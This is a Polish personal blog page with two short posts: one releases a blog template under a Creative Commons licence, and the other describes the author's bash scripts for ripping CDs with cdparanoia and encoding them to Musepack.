Bynajmniej nie na aukcję. ;)

Za prośbą Cenebrisa, wreszcie ruszyłem kuprem i dopracowałem mój szablon. Na oko nie powinien zawierać błędów, ale w końcu jestem tylko człowiekiem.

Blablabla, CC 2.5: Attribution - ShareAlike, blablabla, miło by było, jeśli jednak powiadomisz mnie na jid/mail, że używasz mojego szablonu. Od razu się robi człowiekowi cieplej na sercu. ;]

To chyba wszystko.

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane

Małe skrypciki do ripowania audio-mpc

Takie coś się bardzo mi przydało, kiedy chciałem sobie zripować jedną płytkę. Ze względu na bardzo dobrą jakość kodeka musepack i jego prostotę od dawna się posługuję tylko nim. A więc pierwszą mniej-więcej działającą wersję możecie ściągnąć stąd.

"Czego ty chcieć", czyli wymagania.

mppenc w $PATH
cdparanoia
bash

Działanie jest proste, opiera się na dwóch skryptach, z których jeden odpowiada za ripowanie, drugi za enkodowanie. Napisałem je tak, aby działały symetrycznie, dzięki temu można skrócić o powien czas cały proces. Dodatkowo wspierają tagowanie (ale jakoś nie złapałem jeszcze, w jakim kodowaniu powinny być polskie litery). I nie trzeba zmieniać nazw. W większości wszystko jest automagiczne.

Jeśli ktoś znajdzie jakiś błąd to proszę o mesga na jabbera, albo maila (podany w README).

Dobra, wystarczy info. :P

Zobacz komentarze Trackback dodajdo.com Zobacz pełne metadane
Na górę
Reklamy Google